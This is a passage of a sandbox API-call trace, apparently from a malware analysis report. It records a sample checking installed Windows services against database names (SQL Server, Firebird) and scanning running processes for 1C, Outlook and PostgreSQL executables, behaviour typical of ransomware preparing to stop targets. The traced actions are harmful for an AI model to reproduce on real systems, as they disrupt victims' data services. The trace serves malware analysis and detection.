lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0221.452] lstrlenW (lpString="ProfSvc") returned 7 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0221.452] lstrlenW (lpString="RpcEptMapper") returned 12 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0221.452] lstrlenW (lpString="RpcSs") returned 5 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0221.452] lstrlenW (lpString="SamSs") returned 5 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0221.452] lstrlenW (lpString="Schedule") returned 8 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0221.452] lstrlenW (lpString="SENS") returned 4 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0221.452] lstrlenW (lpString="ShellHWDetection") returned 16 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0221.453] lstrlenW (lpString="Spooler") returned 7 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0221.453] lstrlenW (lpString="sppsvc") returned 6 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0221.453] lstrlenW (lpString="swprv") returned 5 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0221.453] lstrlenW (lpString="SysMain") returned 7 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0221.453] lstrlenW (lpString="Themes") returned 6 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0221.453] lstrlenW (lpString="TrkWks") returned 6 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0221.453] lstrlenW (lpString="UxSms") returned 5 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0221.453] lstrlenW (lpString="VSS") returned 3 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0221.454] lstrlenW (lpString="WdiServiceHost") returned 14 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0221.454] lstrlenW (lpString="WdiSystemHost") returned 13 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0221.454] lstrlenW (lpString="WinDefend") returned 9 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0221.454] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0221.454] lstrlenW (lpString="Winmgmt") returned 7 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0221.454] lstrlenW (lpString="wscsvc") returned 6 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0221.454] lstrlenW (lpString="wuauserv") returned 8 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0221.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0221.456] Process32FirstW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.457] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.457] lstrlenW (lpString="System") returned 6 [0221.457] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0221.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0221.457] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0221.457] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0221.457] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.458] lstrlenW (lpString="smss.exe") returned 8 [0221.458] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.459] lstrlenW (lpString="csrss.exe") returned 9 [0221.459] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.459] lstrlenW (lpString="wininit.exe") returned 11 [0221.460] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.460] lstrlenW (lpString="csrss.exe") returned 9 [0221.460] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.461] lstrlenW (lpString="winlogon.exe") returned 12 [0221.461] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.461] lstrlenW (lpString="services.exe") returned 12 [0221.461] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.462] lstrlenW (lpString="lsass.exe") returned 9 [0221.462] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0221.463] lstrlenW (lpString="lsm.exe") returned 7 [0221.463] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.463] lstrlenW (lpString="svchost.exe") returned 11 [0221.463] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.464] lstrlenW (lpString="svchost.exe") returned 11 [0221.464] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.464] lstrlenW (lpString="svchost.exe") returned 11 [0221.464] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.465] lstrlenW (lpString="svchost.exe") returned 11 [0221.465] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.466] lstrlenW (lpString="svchost.exe") returned 11 [0221.466] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.466] lstrlenW (lpString="audiodg.exe") returned 11 [0221.466] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.467] lstrlenW (lpString="svchost.exe") returned 11 [0221.467] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.467] lstrlenW (lpString="svchost.exe") returned 11 [0221.468] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.468] lstrlenW (lpString="dwm.exe") returned 7 [0221.468] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.469] lstrlenW (lpString="explorer.exe") returned 12 [0221.469] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.469] lstrlenW (lpString="spoolsv.exe") returned 11 [0221.469] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0221.470] lstrlenW (lpString="taskhost.exe") returned 12 [0221.470] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.470] lstrlenW (lpString="svchost.exe") returned 11 [0221.470] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0221.471] lstrlenW (lpString="taskeng.exe") returned 11 [0221.471] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0221.472] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0221.472] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0221.472] lstrlenW (lpString="nova.exe") returned 8 [0221.472] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0221.473] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0221.473] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0221.473] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0221.473] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0221.474] lstrlenW (lpString="picks blair.exe") returned 15 [0221.474] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0221.475] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0221.475] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0221.475] lstrlenW (lpString="principal.exe") returned 13 [0221.476] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0221.476] lstrlenW (lpString="transportation.exe") returned 18 [0221.476] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0221.477] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0221.477] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0221.477] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0221.477] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0221.478] lstrlenW (lpString="planned.exe") returned 11 [0221.478] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0221.479] lstrlenW (lpString="springer andrew.exe") returned 19 [0221.479] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0221.479] lstrlenW (lpString="cakes import.exe") returned 16 [0221.479] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0221.480] lstrlenW (lpString="theory.exe") returned 10 [0221.480] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0221.480] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0221.480] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0221.481] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0221.481] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0221.513] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0221.513] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0221.514] 